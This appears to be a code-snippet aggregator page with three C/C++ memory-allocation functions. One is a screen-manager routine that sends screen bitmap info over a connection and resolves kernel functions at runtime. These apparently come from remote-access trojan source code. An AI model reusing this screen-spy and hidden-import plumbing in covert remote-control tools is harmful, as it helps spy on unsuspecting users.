Ejemplo n.º 1
0
LPVOID MemAllocAndClear(DWORD Size)
{
	// Выделить и очистить память указанного размера
	if (Size == 0)
    	return NULL;

	void* Memory = pVirtualAlloc(0, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	m_memset(Memory, 0, Size);

	//if (Memory != NULL)
	//{
 //   	DWORD Symbol = 0;
	//	__asm
	//	{
	//		pushad
	//		mov		edi, [Memory]
	//		mov		ecx, [Size]
	//		mov		eax, [Symbol]
	//		rep		stosb
	//		popad
	//	}
 //   }

	return Memory;
}
Ejemplo n.º 2
0
void CScreenManager::sendBITMAPINFO()
{
	typedef BOOL (WINAPI *VirtualFreeT)
		(
		__in LPVOID lpAddress,
		__in SIZE_T dwSize,
		__in DWORD dwFreeType
		);
	VirtualFreeT pVirtualFree = (VirtualFreeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"VirtualFree");
	
	typedef LPVOID
		(WINAPI
		*VirtualAllocT)(
		__in_opt LPVOID lpAddress,
		__in     SIZE_T dwSize,
		__in     DWORD flAllocationType,
		__in     DWORD flProtect
		);
	VirtualAllocT pVirtualAlloc=(VirtualAllocT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"VirtualAlloc");

	DWORD	dwBytesLength = 1 + m_pScreenSpy->getBISize();
	LPBYTE	lpBuffer = (LPBYTE)pVirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
	lpBuffer[0] = TOKEN_BITMAPINFO;
	memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
	Send(lpBuffer, dwBytesLength);
	pVirtualFree(lpBuffer, 0, MEM_RELEASE);	
}
Ejemplo n.º 3
0
LPVOID MemAlloc( DWORD dwSize )
{
	LPVOID lpRet = pVirtualAlloc( 0, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
	
	return lpRet;
}